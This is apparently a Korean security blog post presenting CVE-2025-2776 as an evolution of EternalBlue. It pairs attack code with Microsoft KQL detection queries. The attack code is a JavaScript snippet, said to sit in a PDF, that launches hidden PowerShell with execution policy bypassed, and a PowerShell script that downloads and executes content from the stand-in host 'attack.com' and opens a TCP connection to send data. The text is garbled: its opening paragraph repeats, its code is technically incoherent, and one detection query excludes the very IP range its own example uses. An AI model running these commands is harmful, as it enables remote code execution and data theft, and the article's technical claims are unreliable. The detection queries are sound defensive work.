
2017년에 전 세계를 뒤흔들었고 오늘날의 CVE‑2025‑2776으로 진화했습니다. Microsoft는 여전히 SMBv1에 의존하고 있으며, 이 글에서는 공격자들이 단순한 DLL에서 완전한 reverse‑shell 스택까지 공격 체인을 어떻게 변형했는지, 그리고 그것이 방어자에게 어떤 의미인지 설명합니다.
2017년에 전 세계를 뒤흔들었던 이 공격은 오늘날의 CVE‑2025‑2776으로 진화했습니다. Microsoft는 여전히 SMBv1에 의존하고 있으며, 이 글은 공격자가 단순한 DLL에서 완전한 리버스 셸 스택으로 공격 체인을 어떻게 변형했는지, 그리고 그것이 방어자에게 어떤 의미인지 설명합니다.
간략한 역사적 회고
2017년 WannaCrypter가 EternalBlue를 사용했을 당시, 이 결함은 악의적인 공격자가 SMBv1을 통해 Windows 호스트에 패킷을 보내 원격 코드를 실행할 수 있게 하는 전형적인 원격 코드 실행 버그였습니다. 페이로드는 새 프로세스를 실행하고 동일한 시스템에 수신 포트를 여는 실행 파일을 생성했으며, 공격자는 이를 통해 외부로 피벗하거나 원격 서버로 데이터를 유출할 수 있었습니다. EternalBlue의 코드는 짧았지만 추적하기 어려운 몇 가지 부작용이 있었습니다: SMB 패킷의 헤더 레이아웃이 비정상적이었고, Windows 커널은 페이로드를 디스크에 쓰기 전에 메모리에 배치했습니다.
시간이 흘러 2025년에 이르러, 새로운 CVE‑2025‑2776은 같은 아이디어에 한층 더 복잡한 계층을 더했습니다. 단순히 포트만 여는 대신, 공격자는 이제 네트워크 스택 자체에 리버스 셸을 작성합니다. 즉, 로그에서 Pi 장치에서 시작된 완전한 SMB 세션을 확인할 수 있으며, 주시해야 할 새로운 지표(프로세스 이름과 IP 주소)가 생깁니다.
**작동의 핵심이 되는 코드 **
다음은 PDF 첨부 파일 내부에 포함되어 전체 공격 체인을 실행시키는 JavaScript입니다:
var cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\Users\Admin\script.ps1"; WshShell.Sleep(500); var sh = WshShell.Exec(cmd); while (!sh.StdOut.EndOfStream) { var line = sh.StdOut.ReadLine(); WScript.Echo(line); }
스크립트가 실행을 마치면 대상 호스트에 script.ps1이라는 파일이 생성됩니다. PowerShell 스크립트 자체는 다음과 같습니다:
powershell Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://attack.com/shell.exe') $client = New-Object System.Net.Sockets.TcpClient $client.Connect('10.0.1.5', 445) $stream = $client.GetStream() $payload = Get-Content -Path C:\Users\Admin\script.ps1 | Out-File -Encoding binary $stream.Write($payload, 0, $payload.Length)
CVE-2025-2776에 대한 KQL 탐지 전략
의심스러운 PowerShell 실행
사용자 디렉터리에서 script.ps1 생성 여부를 탐지합니다.
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has_all ("-ExecutionPolicy", "Bypass", "-NoProfile") | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
비정상 IP로의 아웃바운드 SMB 연결
비표준 내부 IP로 향하는 아웃바운드 SMB 트래픽에 플래그를 지정합니다.
DeviceNetworkEvents | where RemotePort == 445 | where RemoteIP !startswith "192.168." and RemoteIP !startswith "10." | where InitiatingProcessFileName == "powershell.exe" | project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
TCPClient를 통한 리버스 셸 동작
리버스 셸 동작을 시작하기 위해 .NET 클래스를 사용하는 PowerShell을 찾습니다.
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has "System.Net.Sockets.TcpClient" | project Timestamp, DeviceName, ProcessCommandLine, AccountName
네트워크 스트림 쓰기 활동
텔레메트리에 .NET 스트림 활동이 포함된 경우의 고급 탐지입니다.
DeviceProcessEvents | where ProcessCommandLine has "GetStream" and ProcessCommandLine has "Write" | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, ProcessCommandLine, AccountName